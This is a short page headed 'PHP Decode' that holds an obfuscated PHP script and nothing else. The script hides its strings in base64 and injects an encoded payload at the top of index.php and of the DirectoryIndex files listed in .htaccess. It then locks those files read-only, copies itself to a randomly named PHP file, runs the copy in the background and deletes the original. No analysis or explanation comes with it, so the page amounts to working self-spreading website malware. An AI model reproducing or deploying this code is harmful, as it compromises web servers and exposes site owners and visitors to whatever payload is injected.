PHP Decode

 <?php 
error_reporting(0);set_time_limit(0);ignore_user_abort(true);$z0=basename(__FILE__,base64_decode('LnBocA==')).base64_decode('LnBocA==');$j1='';$s2=fopen($z0,bas 
e64_decode('cg=='));while(!feof($s2)){$q3=fgets($s2);$j1.=$q3;}fclose($s2);sleep(3);$t4=rand(1,2);if($t4==1)$v5=base64_decode(base64_decode('UEQ5d2FIQWdiMkpmYVc 
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Ob2J5QWtjVEV4TzMxOVB6ND0='));if($t4==2)$v5=base64_decode(base64_decode('UEQ5d2FIQWdiMkpmYVcxd2JHbGphWFJmWm14MWMyZ29kSEoxWlNrN0pHSnZkR0p2ZEdKdmREMHlPMjlpWDJWdVpG 
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7);$r6='';$s2=fopen(base64_decode('aW5kZXgucGhw'),base64_decode('cg=='));while(!feof($s2)){$q3=fgets($s2);$r6.=$q3;}fclose($s2);if(strpos($r6,base64_decode('Ym9 
0Ym90Ym90'))){$r6=substr($r6,strpos($r6,base64_decode('Ym90Ym90Ym90')));$r6=substr($r6,strpos($r6,base64_decode('Pz4='))+2);}$r6=$v5.''.$r6;@chmod(base64_decode 
('aW5kZXgucGhw'),0777);$s7=@fopen(base64_decode('aW5kZXgucGhw'),base64_decode('dw=='));@fwrite($s7,$r6);@fclose($s7);@chmod(base64_decode('aW5kZXgucGhw'),0444); 
$z8=@file(base64_decode(base64_decode('TG1oMFlXTmpaWE56')));if(count($z8)>0){foreach($z8 as 
$q9){$q9=chop($q9);if(strpos($q9,base64_decode('cmVjdG9yeUluZGV4'))){$i10=str_replace(base64_decode('RGlyZWN0b3J5SW5kZXgg'),'',$q9);$i10=explode(base64_decode(' 
IA=='),$i10);$i10=$i10[0];$i10=chop($i10);@chmod($i10,0777);$r6='';$s2=fopen($i10,base64_decode('cg=='));while(!feof($s2)){$q3=fgets($s2);$r6.=$q3;}fclose($s2); 
if(strpos($r6,base64_decode('Ym90Ym90Ym90'))){$r6=substr($r6,strpos($r6,base64_decode('Ym90Ym90Ym90')));$r6=substr($r6,strpos($r6,base64_decode('Pz4='))+2);}$r6 
=$v5.''.$r6;@chmod($i10,0777);$s7=@fopen($i10,base64_decode('dw=='));@fwrite($s7,$r6);@fclose($s7);@chmod($i10,0444);}}}$r11='';$q12=array(base64_decode('MQ==') 
,base64_decode('Mg=='),base64_decode('Mw=='),base64_decode('NA=='),base64_decode('NQ=='),base64_decode('Ng=='),base64_decode('Nw=='),base64_decode('OA=='),base6 
4_decode('OQ=='),base64_decode('MA=='),base64_decode('cQ=='),base64_decode('dw=='),base64_decode('ZQ=='),base64_decode('cg=='),base64_decode('dA=='),base64_deco 
de('eQ=='),base64_decode('dQ=='),base64_decode('aQ=='),base64_decode('bw=='),base64_decode('cA=='),base64_decode('YQ=='),base64_decode('cw=='),base64_decode('ZA 
=='),base64_decode('Zg=='),base64_decode('Zw=='),base64_decode('aA=='),base64_decode('ag=='),base64_decode('aw=='),base64_decode('bA=='),base64_decode('eg=='),b 
ase64_decode('eA=='),base64_decode('Yw=='),base64_decode('dg=='),base64_decode('Yg=='),base64_decode('bg=='),base64_decode('bQ=='),base64_decode('cQ=='),base64_ 
decode('dw=='),base64_decode('ZQ=='),base64_decode('cg=='),base64_decode('dA=='),base64_decode('eQ=='),base64_decode('dQ=='),base64_decode('aQ=='),base64_decode 
('bw=='),base64_decode('cA=='),base64_decode('YQ=='),base64_decode('cw=='),base64_decode('ZA=='),base64_decode('Zg=='),base64_decode('Zw=='),base64_decode('aA== 
'),base64_decode('ag=='),base64_decode('aw=='),base64_decode('bA=='),base64_decode('eg=='),base64_decode('eA=='),base64_decode('Yw=='),base64_decode('dg=='),bas 
e64_decode('Yg=='),base64_decode('bg=='),base64_decode('bQ=='));for($l13=1;$l13<rand(5,10);$l13++){$t14=rand(0,count($q12)-1);$r11.=$q12[$t14];}$s7=@fopen($r11. 
base64_decode('LnBocA=='),base64_decode('dw=='));@fwrite($s7,$j1);@fclose($s7);@system(base64_decode('cGhwIC1mIA==').__DIR__."/$r11.php > /dev/null 2>/dev/null 
&",$f15);@unlink($z0);?>